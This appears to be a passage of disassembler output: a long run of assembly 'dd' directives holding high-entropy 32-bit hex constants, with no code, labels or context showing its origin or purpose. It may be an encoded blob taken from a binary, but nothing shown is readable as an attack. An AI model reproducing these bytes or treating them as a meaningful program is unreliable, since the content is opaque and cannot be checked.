		dd 4F971A00h, 0B0317A85h, 0A2C8021Dh, 3D944FDh,	3718AC40h
		dd 0B75AC400h, 0D242AC3Fh, 0A13633ADh, 0A998D480h, 0F5097BCEh
		dd 80BE879Ch, 564542A7h, 26290049h, 60EA836h, 0E9608915h
		dd 0CA0AF64Ah, 32B0C9h,	754376A4h, 7868ADFh, 0B345F002h
		dd 40369AE0h, 1FE21B0h,	0E4F59CA1h, 3352A16h, 987A98C3h
		dd 6C1000Bh, 0CAD8D37Eh, 0A50AB9CFh, 0F07643BAh, 9369B707h
		dd 2848BCh, 0A5F1E7F7h,	6FDEAF84h, 3E3C7F30h, 0C28C0Ah
		dd 34AAB1E6h, 19AF0205h, 0C4D24509h, 0B9542138h, 71F09AE5h
		dd 4090E8h, 98F835B3h, 0C4D4BF85h, 0CACCB400h, 0FA497432h
		dd 0F0F201DCh, 1D2F5110h, 5FED464h, 0C81E92ECh,	0A5408809h
		dd 0B29F5C53h, 35451F63h, 0CC01C03Eh, 0B707802h, 615F1E00h
		dd 0B7AE8BF2h, 5A786Ch,	6576DDA0h, 0FB7A3354h, 3A1A4800h
		dd 0C7382A9Eh, 7564C6Dh, 0B6AFAB00h, 0D646A03Bh, 294D9C00h
		dd 79281F7Fh, 7E400BE8h, 48803D9Eh, 6B599FB0h, 387CD200h
		dd 9BDAF08Bh, 0BC08002Dh, 1F324B79h, 5400E0DCh,	2B519E3h
		dd 3E52BF72h, 0F6005662h, 0AB7039CEh, 0A6051C18h, 26229BC4h
		dd 5E237080h, 0BC0849B7h, 5A114900h, 0A1457C0Fh, 0BD14F8E6h
		dd 1A435AAh, 166C5793h,	63E5D467h, 0A40F030h, 2960B141h
		dd 0DFBF00ACh, 983859B5h, 67830800h, 2491F7Dh, 0CA440C93h
		dd 0FC39F8B8h, 895C4500h, 0F12214Dh, 8A1502AFh,	54823770h
		dd 77B80840h, 0D625AE01h, 6B7E6074h, 154CCCh, 33CF4B6h
		dd 0B761CA37h, 626D4900h, 5269500Eh, 0BF6C0277h, 0B84845BEh
		dd 93B4B440h, 610FF878h, 8E465798h, 0DF3CA39Fh,	5628F07Ch
		dd 11D33E02h, 3CFEA4h, 0F05FD614h, 0EE3D4476h, 7F2D8048h
		dd 0C83D65AEh, 57A900AAh, 7477EDCFh, 0D8003592h, 0DBB15A48h
		dd 3B0772h, 1C8A2B97h, 0BF3A4763h, 90E040E5h, 0CB29FC3Fh
		dd 7A1FE4B1h, 0DCF68DC0h, 122B99h, 34407CBFh, 0A315F9C2h
		dd 0B21C9500h, 56B87501h, 0D05A006Eh, 813C390Bh, 4228BBA4h
		dd 0C368E0E4h, 5100E074h, 0A185B98Dh, 3E1102D2h, 0B128BB09h
		dd 0FD341CE0h, 0B38C2500h, 1B2CA644h, 0EA708Dh,	0A21AEEACh
		dd 0E1CD211Dh, 20B56A00h, 55C766Bh, 0A771007Eh,	1A887F8Fh
		dd 46036242h, 318C4832h, 0B509B83Ch, 0FAA800B7h, 9B38C882h
		dd 8D07047Ah, 9EA60AE2h, 0F3558130h, 71460294h,	0ED5EBEB5h
		dd 0E7A9DD60h, 503C3Fh,	0D2BA5D32h, 580F33h, 5620CB92h
		dd 0DD4B407h, 40EFF900h, 0FC9F15EEh, 0AA1F003Dh, 60BE3BFAh
		dd 1D03D8C8h, 5C3ADA4Fh, 64600378h, 0C412724Bh,	62DC111Eh
		dd 9D8F4244h, 79E72780h, 0E20E038Ch, 1A208771h,	85CD3FB8h
		dd 615C2B14h, 0FF7E01E7h, 0A19BEB44h, 48C30CC8h, 1C00D84Bh
		dd 0BADF069Ch, 3D0061FBh, 194F5FA3h, 0ABC282h, 5745A484h
		dd 4A69092Bh, 0D51BC300h, 0B1DB8DDCh, 0A9BB1F55h, 7BC00AFh
		dd 0C0D0C65Eh, 0E9D13Ch, 0FC1565EFh, 1CBE9C1Bh,	0FDA5761Ah
		dd 0AA02EC0Eh, 3D0196Ah, 0C6D4DDD6h, 105946A8h,	224C9D1Fh
		dd 7D92740h, 0E8AB7h, 0D84A14E8h, 3B1F17AEh, 1A166900h
		dd 7B35A782h, 2FD100C6h, 36505737h, 2C745392h, 805D9B38h
		dd 0CA67E76Bh, 0B0FAEAh, 0A505CF56h, 99D62D8Dh,	0E1008BB8h
		dd 5A82C27Ah, 0DE9A85h,	1684D1E5h, 0CBF0A1EFh, 6F01A776h
		dd 4FB70E1Fh, 1330E97Fh, 7347005Dh, 9829BF0Fh, 8B0E91F0h
		dd 1AF757Eh, 0A4024687h, 71613770h, 66B8C7h, 2824E866h
		dd 49B9CBE6h, 5F4A7B01h, 1A09F61Bh, 302A19FCh, 0CA583352h
		dd 74023BCBh, 8D91AC3Dh, 9EDD4045h, 4C1E1D14h, 79168F99h
		dd 1086D623h, 0DA2793E0h, 0D56FD101h, 817B3A5Eh, 80C86AA1h
		dd 6B1D494Dh, 2E0087A9h, 2833C905h, 4C2956CFh, 0A8007038h
		dd 0D28B5B9Ch, 2103100Eh, 0ECEE66CEh, 32C3A092h, 20CA001Ch
		dd 0D4F9CC2h, 0E000714Ch, 3EBB563Dh, 0F1686Ch, 321E2ABDh
		dd 0E21936Ah, 2691B3Dh,	9946ED94h, 60E78E5Fh, 0AC4E7B12h
		dd 7CF41C9Fh, 0A64380B1h, 0B48AB861h, 6F25AD02h, 600C529Ch
		dd 4FBFD8h, 8D501CBCh, 0A83B9D84h, 0C4F93301h, 488FC54Dh
		dd 14DDF5C4h, 0D8A29732h, 0D75EBF00h, 37FEA5C6h, 1D062700h
		dd 0BEDC059Dh, 416517F7h, 235700E0h, 0D8B75D93h, 8A246E71h
		dd 6A00A6FFh, 493DAF9Fh, 0ECD01DBEh, 0B8B44A7Fh, 0C74200D8h
		dd 8609F5C2h, 0A069C400h, 0B70FFFC6h, 929B00F4h, 3F2B5BB0h
		dd 0C92418EFh, 5A094838h, 0CE542029h, 4F09BEh, 0A7ADD98h
		dd 0BD6892C5h, 0E9C6511Dh, 94853804h, 0E2621C97h, 0F8B84350h
		dd 0EE0518h, 4A07E33Bh,	2A226C7Ah, 586203Eh, 0BAD3385Ch
		dd 9F4800FBh, 767B4A0Fh, 0F556A001h, 55514552h,	1DBCC5E8h
		dd 0C0BED7C4h, 48A70278h, 0B005E7Ch, 0F5D04C2Bh, 0E26CD1h
		dd 0D6BB8FE7h, 9F6F117Bh, 9327A8A0h, 899EEF00h,	68FECF36h
		dd 0DCB50254h, 3F8FF6C6h, 1270CA40h, 0F5FF0803h, 0F706812Eh
		dd 35282730h, 4DB0E2h, 68E64155h, 4B61A8A4h, 0CAA8C350h
		dd 0A69ADF00h, 7593B836h, 725900C4h, 0CB811787h, 7A073960h
		dd 6C22EAE4h, 6DC93470h, 5C0B7F77h, 0D1011524h,	0C3DE2FD8h
		dd 525080B0h, 0D209B7BCh, 0B8DA031Dh, 0DD0D40F9h, 0C925B4D8h
		dd 0C2287872h, 0DE00AC32h, 0B30BC85Fh, 76E4AA5h, 0A1193513h
		dd 59EF805Dh, 0E5068D3h, 0A007180h, 4C2DB144h, 0B0BEEA6Ch
		dd 0C8F30624h, 11D9338Ch, 0B356AF04h, 0D080121Eh, 453EAA7h
		dd 0DE623D25h, 6E74C016h, 42005B55h, 49FD6614h,	0ECAC2ABCh
		dd 4CB01E7Dh, 0ED80BB4Ah, 2EC87912h, 0A571CF9Fh, 68991D07h
		dd 4B50DC16h, 610FDD6Dh, 3A919983h, 0DC81805Fh,	0BC4CE679h
		dd 0AD77308Dh, 3C387E58h, 0BC73Eh, 56DD9A0Fh, 75815BBEh
		dd 0D87B01D7h, 0EB7FCE3Eh, 70A02003h, 2B1CB360h, 0FF48D0Ch
		dd 0AA17690Dh, 0AEDDC05Eh, 0FA848CFEh, 7898CF0Fh, 0ED4D4395h
		dd 0AD4480BBh, 82AE0559h, 804EB3ECh, 188D847h, 2CE14A2Ch
		dd 0BF90FF00h, 3127691h, 736809B1h, 2CEACCD0h, 0D3EEAC83h
		dd 0C4F77001h, 8CEC9A1h, 0A881D5D9h, 0A6B72DC3h, 0A8C1FA58h
		dd 9BD0CB39h, 0B77185h,	755C4373h, 92B4A037h, 23C03079h
		dd 9B062ADCh, 78D88200h, 7331E548h, 9CB9003Ch, 0C2DF89D2h
		dd 127BA913h, 0C5FF3900h, 0BFFA1F14h, 0D0410084h, 0B0C80824h
		dd 0DC00C1D6h, 0CB2296C2h, 1DDBAE82h, 0A504A4h,	13A66BD2h
		dd 431D1B41h, 65074CBFh, 256048FAh, 5AD54h, 96A4DE8h, 2A9252AEh
		dd 0BC00A890h, 9DF49427h, 7FD53486h, 740D5963h,	171E6160h
		dd 940660CEh, 0F754B1CCh, 56A516A8h, 1C93B827h,	474C826Dh
		dd 2D69AEh, 0B12E6A62h,	1C44578h, 0CD0DB00h, 0AA5A1ACh
		dd 9A270E4Eh, 0EF80F1AFh, 8B620921h, 0D058C300h, 2264C4A4h
		dd 248B98FBh, 763AF81h,	30065238h, 85D962E1h, 6545AD03h
		dd 739E40C2h, 0A69900B9h, 0DB1C5D3Ah, 269892F9h, 9E549117h
		dd 74096800h, 0FE03D8FBh, 6D9F00E7h, 4285C07Ch,	0A0061D1h
		dd 0E9684F2Ah, 0AFCF0Dh, 210266A1h, 0BFE37999h,	0E852F800h
		dd 637430D7h, 0EC840026h, 4FB8A7E1h, 0BD005FF2h, 0D277B5Ch
		dd 72A529h, 86EA947Fh, 9C797CBFh, 3650C1Fh, 0CB5AEB87h
		dd 11C57400h, 420A0030h, 58ED1FE4h, 0D70014CEh,	43BFB97h
		dd 714550C0h
		dd 4B111E37h, 349F4009h, 65ADC3F8h, 0CEE02A00h,	0CD598522h
		dd 7FCB0041h, 0AE44B121h, 1D0FAA5Dh, 0DD9DFCE9h, 25C0E31Eh
		dd 0D3276537h, 20BCD2A9h, 9574970Ch, 7843B91Fh,	5045D740h
		dd 6ADD5h, 1B2E264Fh, 0A1DF16F2h, 58BA6101h, 34AE5A9Dh
		dd 48307C61h, 0EC7F5999h, 60647A18h, 3D002905h,	0C197CF57h
		dd 94BF2E2h, 0F08E8D3Ah, 0D36AEF00h, 0DD79542Fh, 3E94DC00h
		dd 34D114A7h, 0C79D005Bh, 42FF7C0Eh, 82006003h,	27BBAA5Ch
		dd 0FEE22BE0h, 13BE0057h, 0D601C84Fh, 45E28414h, 7819B067h
		dd 388DC1C0h, 68D200D1h, 0C51490A6h, 6200E715h,	0E1BCA4C4h
		dd 0E949DCh, 0A8B8F091h, 68E6D16h, 77A2AA13h, 0BC5D6840h
		dd 0F883BCAh, 2D80F2B1h, 7814C0A0h, 6A1F66DFh, 2EC7EFAh
		dd 0C1160E00h, 0F9641F0h, 9165EFF3h, 81466285h,	0C839D101h
		dd 6F7FFFCEh, 0F0877100h, 0AB073172h, 26DBEA4Eh, 809C58AFh
		dd 659CD65Ch, 84010522h, 3D4B931Dh, 98300CB1h, 8C520012h
		dd 88E0D2Ch, 0ADF2690Eh, 82A48403h, 0F8E54FC2h,	16FC8A3Ch
		dd 80802096h, 0E167FC2h, 99C85906h, 0A0C186h, 4DF6CEF1h
		dd 3A82CF4Fh, 9AD1D400h, 9C7D2D60h, 787854h, 90D7A64Ah
		dd 8B46A36Dh, 39BA8758h, 224F002Bh, 0A4EFF982h,	298D002Fh
		dd 0D23C57ABh, 0AA166673h, 4041AC3Eh, 0CDA5DFFEh, 0B6A6E0DBh
		dd 0D558245Dh, 0FFA000C4h, 75C29DCh, 0F7E197Ch,	0FB35B300h
		dd 7EEE77B8h, 0A0D7E6A1h, 0F9C098h, 0E66D602Eh,	47017C4Ah
		dd 9F9DE900h, 41BC0BA6h, 0E2AC007Bh, 0BBE575EBh, 3E0464FCh
		dd 1D435BD7h, 79AE84C0h, 8C223EA1h, 0B7A5C489h,	2A693880h
		dd 3A143BA0h, 17C0BF5Ch, 3B0078E7h, 93F74170h, 0B34B0327h
		dd 9857B63Ch, 0BA951890h, 0A9074200h, 51FD192Bh, 941E1FDAh
		dd 7772800Fh, 0CC1FEFA3h, 0E316711Dh, 3FFA60C7h, 0A1568500h
		dd 38AA006Eh, 8ECCC6F7h, 0EC13195Ch, 0D700F174h, 0F23CB968h
		dd 5416003Ah, 72F65B0Dh, 5700F9ACh, 0F07553A3h,	0D1EFF7h
		dd 0FB4BDDF3h, 0C2DA208Ch, 65BFB800h, 8D9F9268h, 450200D8h
		dd 0DE3CEEEBh, 4B7AEAC1h, 65F0170Fh, 80E14EE3h,	4A213B14h
		dd 0AF5A1D98h, 0B1DD82F2h, 584132B9h, 0CEC706Ah, 6F398000h
		dd 0FB252C20h, 0F6B50050h, 3F171F91h, 1600CB43h, 1B53B9E7h
		dd 58089E69h, 0D0090B4h, 245EC983h, 9A00759Ch, 0C0A39FACh
		dd 0FAD07Eh, 8D872E90h,	83810857h, 0A47D1200h, 3870CC07h
		dd 981004D2h, 800FC4C8h, 712FB170h, 0EA440C00h,	809DF692h
		dd 9BDF13A3h, 8AE9037Fh, 52880BAFh, 2F006F4Dh, 0E7BE39D5h
		dd 8BB32Eh, 18F03B95h, 0D7CADA4Fh, 0CB13D403h, 0E0255894h
		dd 18F2156Fh, 662D8CEBh, 0B2776B1Ah, 9E00247Dh,	27768110h
		dd 0E8955814h, 561D2C51h, 6A3D007Fh, 4786060Bh,	5FA50300h
		dd 1787ECF6h, 8F60005Ah, 0FDC19CDBh, 133F74CFh,	4BBA808Bh
		dd 3A40C782h, 52D700C4h, 62250750h, 0C801FDC3h,	11FE47F9h
		dd 25205889h, 20901Eh, 810443F6h, 0A4609F5Ah, 0CD013609h
		dd 0ED4420CAh, 4F8BC6Eh, 3C11D50Eh, 21A495E3h, 0BDFAAD1Ch
		dd 433783B1h, 0D4509573h, 0FDD32080h, 0F308986Bh, 43079081h
		dd 8084ECA7h, 0FA957211h, 2B0BD53h, 0F222BF6Ah,	7C44D6ADh
		dd 605FD00h, 805E5671h,	9713007Eh, 0D2B85CE6h, 10F2AE12h
		dd 84F4A326h, 0C3562F04h, 403FCE0h, 67F7D26Eh, 12ED817Bh
		dd 0DD7C34C4h, 3F016203h, 0C8559151h, 4CFFA510h, 42132A38h
		dd 76C800F1h, 532CB244h, 1330F3A0h, 2D00B0B8h, 0C593E289h
		dd 4964FFh, 0CE8A829Dh,	0B6AF015Fh, 0D4F81B00h,	91D835B8h
		dd 7C190320h, 1CD7A2C1h, 2D6BCFE0h, 83002B72h, 4535F262h
		dd 482488FBh, 4D319CDCh, 60DA48A1h, 0B33EDF99h,	0F00C8049h
		dd 46529FB1h, 87E70385h, 0DCD5A51Eh, 0D468DDA8h, 97E1100h
		dd 102E760Eh, 0ABA10261h, 534CDA6Dh, 0D5F630C8h, 0BF13F212h
		dd 197BC80h, 7ACF0002h,	378BF7D4h, 5F0CD3D0h, 8989FE2Dh
		dd 12293C16h, 8092E800h, 2DD06026h, 0D800C97Eh,	23A4F6C0h
		dd 661FD79h, 124A1CD9h,	2100E0A3h, 14F22687h, 1877207Bh
		dd 89809ED3h, 6A008FBAh, 54505A9Fh, 0FC88FEE0h,	582E4A30h
		dd 9C3A17Ch, 0F6E34D02h, 60DDD644h, 3A2CE9B4h, 0A1636404h
		dd 1FDD70Ch, 0D8DA8C84h, 6E4BE8EFh, 7D815F2Eh, 5D118423h
		dd 0A5C074B2h, 0B9013DDEh, 6E4AFF7h, 7FC8772Eh,	0D1B80027h
		dd 0E36B210Ch, 3200B558h, 0F7DFD76Dh, 0C824FD6h, 3BA3119h
		dd 0B181E598h, 782621FCh, 84BC008Ah, 0B72DC180h, 0A40F3DB6h
		dd 2052A064h, 83DD47AFh, 24F20004h, 3B413302h, 0C8901BF6h
		dd 6FB8700h, 0B6B044DDh, 0B1496060h, 0D7A3EE48h, 40D56F01h
		dd 0E1EB31CEh, 789919C8h, 491B3391h, 1FC6E49h, 2EC05601h
		dd 0A3AB4187h, 8017044Ch, 0C5EB8068h, 0FB3D4E12h, 0CC5870C0h
		dd 8DED01A5h, 10B1050Dh, 0D1EADCE6h, 28400A60h,	0C49C0Eh
		dd 71FF421h, 988252BCh,	0FACFDD01h, 0AC8BA825h,	545800DBh
		dd 4CAB0179h, 0F1008082h, 0E4AED7FAh, 59164h, 42E9C52Dh
		dd 246A0195h, 0EEFF7900h, 0F014CCA4h, 9CB72ED1h, 4B3300F1h
		dd 304F267Bh, 0F596213h, 32D91106h, 146B0618h, 1102D533h
		dd 48C15704h, 0B8C06CE8h, 0EA0AE80h, 0ECA6A765h, 0CDA99400h
		dd 0DA243822h, 870208BCh, 70BF0E7Bh, 2E550654h,	11EA7649h
		dd 2F39C201h, 517B3B65h, 5832F4h, 0C8B64A3Ah, 0EB777F59h
		dd 308FFC00h, 0E49A6B1Dh, 2B820B6Ch, 0E8012DE9h, 63A7C9F2h
		dd 0E3371240h, 0ED60444Ah, 0EA4F2A00h, 1C84694Ah, 5DB6CD63h
		dd 334E0CA0h, 62EE7040h, 66772300h, 0B012790Ah,	72690108h
		dd 4A8768D0h, 88A074F7h, 7D639900h, 356F6D03h, 6775CBh
		dd 8562E237h, 75FB2A3Bh, 88FDA800h, 19524BC1h, 2005007Fh
		dd 0F99D5C98h, 872A76CFh, 5B1080ADh, 0B9161375h, 5C50006Dh
		dd 0FD6FDFAAh, 0C5FE8705h, 44C0982Eh, 71D36782h, 2066822Bh
		dd 0C0C30300h, 0E722659Ah, 0E083EE7Ch, 0ED200EDBh, 5721B52Ah
		dd 0C00DEB9Eh, 6A000EBEh, 4AAE5998h, 2CD78B8h, 2C66D7ABh
		dd 24C0FE44h, 4BE62A3Fh, 14B2712Ch, 0A687900h, 0E0E051B9h
		dd 86FE003Eh, 0DEEB8E38h, 6D0AB42Ah, 0B84EEADDh, 7F9090h
		dd 1CE18D2Ch, 9F163E67h, 0A936FD18h, 0EEE9D6h, 1BA46460h
		dd 629A9C5Ch, 4850A775h, 59005F8Ch, 0B1586B08h,	0B82DACD0h
		dd 30AE00ACh, 46413154h, 7890555Fh, 0EA57A600h,	0B19840C2h
		dd 679B00AAh, 2B43CD7Dh, 74134BE2h, 93018D51h, 6FFB8B25h
		dd 708464h, 0E8E12EB8h,	0B6EEC660h, 0BD49060Fh,	273B60DFh
		dd 0B2DA6E9h, 74B2F195h, 0C86B0Ah, 0A436065Dh, 0F4266241h
		dd 8D1340ECh, 32005AB8h, 0B20A613Dh, 4607D47Ch,	84FE0627h
		dd 0E86E15E0h, 0C29901F5h, 982D9CACh, 9EA02095h, 3FEC74EAh
		dd 16109460h, 73588480h, 0CFEE0003h, 7061A45Ah,	0C8002781h
		dd 6B694F6Ah, 8FE419h, 0B9AFC29h, 0F08773B5h, 34A70E13h
		dd 0C038F913h, 481124EDh, 348584B4h, 0A890C2C0h, 0B71E1F40h
		dd 497B6200h, 0D3EC4501h, 0C7153F74h, 0BA3BB4C8h, 9CD8FC80h
		dd 0B444279Dh, 0C2532E00h, 7BAA2DF8h, 14B30081h, 0F4DC7816h
		dd 0BD00D85Bh, 0C8D3356Ch, 0E8EBD4E9h, 1F4F04FBh, 0D0B36841h
		dd 0DA784D04h, 0B8AE4626h, 147B1DC0h, 0F4FB057Ah, 34AB33h
		dd 0AF8017FCh, 710CD6D2h, 0C99EA0FDh, 0D5951FAEh, 127829E4h
		dd 32680042h, 49616C72h
		dd 0CA3AF8A8h, 297EDB05h, 5880F5D6h, 908AF47Fh,	8C6C5958h
		dd 3BEE473h, 0F7AA928Eh, 66A85285h, 0EE0AC5CAh,	88C0493Fh
		dd 46E64C01h, 4070B76Ah, 0A1C43DFCh, 0F0337700h, 0C76C8DE8h
		dd 2E26D70Bh, 10D018DFh, 97D300C2h, 9E7F1B5Ah, 3A07161Ch
		dd 5211D88Fh, 0EE2A18C0h, 0E679EA91h, 0ED1E14D5h, 0CB00EC2Bh
		dd 828AFE9Eh, 18B92E32h, 0D5ED6780h, 1DE912h, 0A22DF6C5h
		dd 9D6C91BBh, 0B741D305h, 80D02E15h, 0ED1FD5h, 0FD216876h
		dd 8D4D91E8h, 3A607260h, 0F1FC8Ah, 6E64471Eh, 5270A2AEh
		dd 7BC3703h, 0ED28BE44h, 7ADCCDCh, 1769B2D2h, 8075A485h
		dd 9DE9B610h, 0BC267800h, 3C41BA32h, 2EBCB0A3h,	7088D9B9h
		dd 4D78AA06h, 1C06C58h,	48EF9639h, 6DB90Ch, 1177257Eh
		dd 54E08Ah, 0F0BA5975h,	2B00F836h, 6EC8780Eh, 1665F4E2h
		dd 1C694C72h, 5C9380EDh, 82BCA877h, 0EF794300h,	107F097Dh
		dd 0B31D24B6h, 35BB00E9h, 521CB45Eh, 1371CF00h,	7500F17h
		dd 19825ADFh, 0F41F1990h, 4D60122Dh, 0B6D5D611h, 791102E7h
		dd 971BD359h, 3A857C68h, 36D05054h, 1533D704h, 349156BFh
		dd 6C5CFB2Ch, 461F00FFh, 0CA01BC50h, 0C713D3F3h, 6002686h
		dd 9FC361DCh, 1D20B25Dh, 44DE9B1Bh, 8022ADC5h, 9970966Ch
		dd 7C560326h, 1E7C1200h, 131B89B3h, 44F98F42h, 47ACACh
		dd 9EE2E9AFh, 0FC5A0039h, 85690E9Dh, 3F17B9ABh,	6E01AD7Ch
		dd 3594C15Fh, 9E3FDCCh,	0C584D3A4h, 0D7E09C8Eh,	57DD2AE1h
		dd 7D62F800h, 303AD2DAh, 1DA009A8h, 9504B77Ah, 0C76DC08Bh
		dd 9972D1F9h, 0C0308978h, 3DD9DC8Ch, 52660090h,	0B5630550h
		dd 0C400C560h, 820BD1DAh, 96F9B7h, 0D25BCCDDh, 28AFA05Ch
		dd 489A9300h, 4C0D637Bh, 0DD18004Bh, 6EA8F599h,	4005BDAFh
		dd 938A6BA5h, 328BB400h, 64FAD3h, 0BCE37B3Ah, 97C0E128h
		dd 7D0C0258h, 16AC0B09h, 2304800Ch, 120A85h, 312C1AF6h
		dd 514C3AD6h, 6CDAB500h, 4F6564A0h, 7B4900C7h, 3196B3A6h
		dd 0C216860Ah, 54807263h, 0E07CBA1h, 70A89E49h,	0CCD1C6E0h
		dd 6600DC2Fh, 566315ABh, 0E365B4h, 8029E83Ah, 0B3DEB262h
		dd 0E12BC60Eh, 0D5B1C766h, 0F6E8E21Eh, 2D65008Ah, 0EE02E277h
		dd 23B436C9h, 7DC4FA42h, 0F07C03DBh, 0F7CB3265h, 2FC761F8h
		dd 84A27217h, 0A4023A00h, 0B16E528Fh, 2CB801FCh, 2A443453h
		dd 0E844F824h, 20816D65h, 84410F39h, 3DF8E24Ah,	2C9E7087h
		dd 0A44C31h, 80CB4D77h,	1900326h, 42AA74A8h, 0D0B7D700h
		dd 8C4E1D35h, 2E120EB5h, 0CD40FB65h, 2BA24524h,	27862001h
		dd 0E24BF00Fh, 0E59060h, 8BFD1066h, 416B2A2Ch, 0DC6D7000h
		dd 8CACC48Eh, 97D11EF0h, 132187BFh, 0EDAB7061h,	0E4E5CDBh
		dd 4C61C08h, 0D147236Eh, 0F4D038F4h, 401ED5F6h,	92402DC2h
		dd 48FAFCEAh, 0F8530704h, 0D08C75B6h, 9049333Ch, 50781700h
		dd 0D7C3F798h, 14DB634Bh, 0C0EC4548h, 227AB8F8h, 0C3245EE4h
		dd 0C500FF25h, 9CF74C0h, 0F0CB07FBh, 30D57DF4h,	4E1F7FCh
		dd 0F87EA61Bh, 542E8112h, 13BC32E0h, 3064B889h,	3D6140A8h
		dd 0EE7D6800h, 0B5C2F436h, 293F02E3h, 9A1B9C7Ch, 368D068h
		dd 0D7982002h, 0C8155F88h, 85EC9Ch, 40548224h, 0DCD5CD26h
		dd 0C17A8801h, 2F395D8Dh, 22D034F9h, 987B59CBh,	83B97300h
		dd 0B279744h, 48043C90h, 0A9C6BA1h, 890FCCD0h, 7EF4EC1h
		dd 0E029DD3Ch, 0AFC87E68h, 85DB4905h, 0A51396FEh, 8715A004h
		dd 50CC3062h, 5F708E14h, 7CD62C83h, 56940881h, 6C20DE27h
		dd 3506000Bh, 461AFF6Ah, 5E1247BEh, 0DCD0BC18h,	2C2C4A13h
		dd 88888719h, 50882E6Fh, 646E49FBh, 5F182D4Dh, 18034C12h
		dd 239D056h, 0CC76C021h, 4CC46FD6h, 6490774Bh, 1EA07Eh
		dd 0A7F8CBC0h, 71071FBFh, 0C4944D2Ah, 38A6CC00h, 97D78BB6h
		dd 7919015Ch, 0E035CEA0h, 894040C8h, 730046CDh,	0B2D5220Fh
		dd 0F4A0125h, 6538E441h, 0CF107600h, 11063490h,	0DC869521h
		dd 0DEE08890h, 10E50E69h, 0DCEECAh, 0C762F304h,	4100229Ch
		dd 1C5B8E86h, 123CD8D1h, 988E17Fh, 98517141h, 99233600h
		dd 965CDDh, 0F37F14B7h,	3D6F7A2Bh, 34FEB307h, 0FC41A97Eh
		dd 4700E04Ah, 84006405h, 69093316h, 49EF1DAFh, 0C44BC076h
		dd 15CA824h, 218940F1h,	0CF87A0Ah, 98C7125Eh, 0C374B0B2h
		dd 0A3FCFD0Ch, 0EE7811B3h, 0CA2D0F7Eh, 63A04B35h, 84C5E9Dh
		dd 0AB19C101h, 29E15D05h, 0EC5242DDh, 0E4A48AF2h, 0D9A85280h
		dd 941C8D6Dh, 0B48C1270h, 0CC9428E0h, 79414F00h, 0DD9A04h
		dd 1654990Ah, 0E530A0E4h, 439648h, 0B18B581Bh, 3ADA1721h
		dd 0D800CB4Bh, 78D50115h, 0CD00C234h, 98AF3CA9h, 7DC8ED2h
		dd 0D04EE767h, 255F20F4h, 0D800F57Fh, 0CB9269AEh, 26E9DAD7h
		dd 6466E3h, 0CFEF46D3h,	0E1391562h, 80CE3E36h, 0C54B7D5Ch
		dd 0B0D4E26Dh, 416A008Ch, 0B2ADC7C1h, 6800EE38h, 2396500Ch
		dd 0F81ACD4Eh, 0D0F458CCh, 4773ED00h, 0E65F30C6h, 0CA64B900h
		dd 0CB2DD917h, 0BADA0018h, 0D1B787AEh, 0B80EE931h, 0E0171079h
		dd 706C6850h, 0FA6B06C7h, 88DD3908h, 3A9FF0EBh,	6FB0A0A0h
		dd 0E99CBC30h, 728F27Ch, 4C07DA7Bh, 0ED31D099h,	54001739h
		dd 342FD11h, 16A55986h,	0D53CA662h, 436CB050h, 0D09C3309h
		dd 890C0E6Fh, 0F30D00BEh, 15C97B18h, 0E49E4A84h, 1630C14Ah
		dd 98111A2h, 16673DD8h,	0E372808h, 20E07AE5h, 0B932282h
		dd 49421E09h, 61461CEh,	2684C870h, 842C76E5h, 90FB0D3Bh
		dd 0E1B9FFB8h, 0F03A5B07h, 0F6306355h, 1EEB4C3h, 1ECD7C6Ch
		dd 71877571h, 935FC6Ch,	77B20A1Ch, 971305AEh, 83C1800h
		dd 156AEEEh, 0DB1AD77Bh, 0E545FABDh, 0F519EC59h, 975E9A00h
		dd 2F06A89Fh, 840D0F10h, 12EE6A95h, 0D6382083h,	0D741A1E0h
		dd 0AD4FBC02h, 69827483h, 5C23971Ch, 0B64E9200h, 8E4C1EDBh
		dd 0B976D498h, 9475F918h, 3AAA44A8h, 6000174Dh,	0DC0B4AE6h
		dd 6A58DFFDh, 0AD34C194h, 9B206F16h, 28DB0593h,	9133DFh
		dd 0DDB4BA88h, 0AF1F1AADh, 0BC072A4Bh, 3900A10Bh, 6F4AA8h
		dd 0B3491613h, 1C326974h, 14279300h, 19055620h,	51F704DAh
		dd 0C0A35BAFh, 9263E4F7h, 3E318637h, 2EE7F850h,	0E3EA0032h
		dd 65275521h, 6FF45975h, 9871117Ch, 0C6C3B000h,	0AF01CBE4h
		dd 7A201AAh, 0E75C1853h, 0C413D963h, 39EC3ABDh,	0E6C0D500h
		dd 0F8DAD0Dh, 2529E278h, 0ACF82C92h, 6917F21Fh,	23AC5F80h
		dd 2739CC2h, 8E22D1EBh,	1040D64Eh, 80ECDA60h, 0C0450D27h
		dd 99838h, 0A8063FBEh, 0CC5AE1DBh, 168B0200h, 465CDC4Ah
		dd 0BB77001Eh, 1F667DA2h, 4100598Fh, 0E4C3EC82h, 98149605h
		dd 4F0A7060h, 0EF38905Ch, 7C074856h, 0CA9D91A1h, 0CE794260h
		dd 3E6097A4h, 1A3C934Bh, 0DA6800C7h, 74F5C964h,	73770AA1h
		dd 0EC4C80h, 451E7DEFh,	6500F4A8h, 0B7EED33Ch, 0E14752Ah
		dd 79A1C60Ch, 6F744780h, 0DD1EAC5Dh, 0A00AB1Ch,	0A66A7718h
		dd 8CF2482Fh, 64A35600h, 0CEFF3AA0h, 6196C400h,	0B778EB2Eh
		dd 0CF0B0FF7h, 0B12ED91Ch, 28025B20h, 1CBE7BF9h, 36003AA4h
		dd 97B96CB4h, 389212E3h, 0B340A030h, 288D1D2Ch,	3700D16Fh
		dd 7AFC0EDFh, 9F0E2C3Bh, 40121954h, 31AB0542h, 0A8836430h
		dd 9B00C358h, 946AA926h, 2F30F347h, 0B1D5A7h, 93B30916h
		dd 7D90E770h, 0A5C85B00h, 9DBB6EA8h, 2684B0D1h,	4350E87Ah
		dd 0C6E89E49h, 0D4301CB3h
		dd 7A4FA8F6h, 24B8E0h, 9651B9BAh, 2C7233B1h, 0A626802h
		dd 80FC32ABh, 305480B4h, 0DC580289h, 0F016B9B1h, 36008454h
		dd 0F786AF33h, 84B83877h, 0A4F23480h, 0A5BD73Fh, 0D8F14600h
		dd 20CD155Ch, 0E8374873h, 610B3A78h, 0F8D37500h, 0AC20D08h
		dd 5BA46600h, 604640B0h, 0D0A31385h, 528C054h, 0EE1221D6h
		dd 0D200B529h, 0A4D8114Eh, 1377E073h, 6D1518h, 142F2CA4h
		dd 0A5003DB7h, 63471061h, 5C38C832h, 40003328h,	6645EA68h
		dd 225D0E83h, 948C24D0h, 6077A00h, 1DFEDBh, 13328FCCh
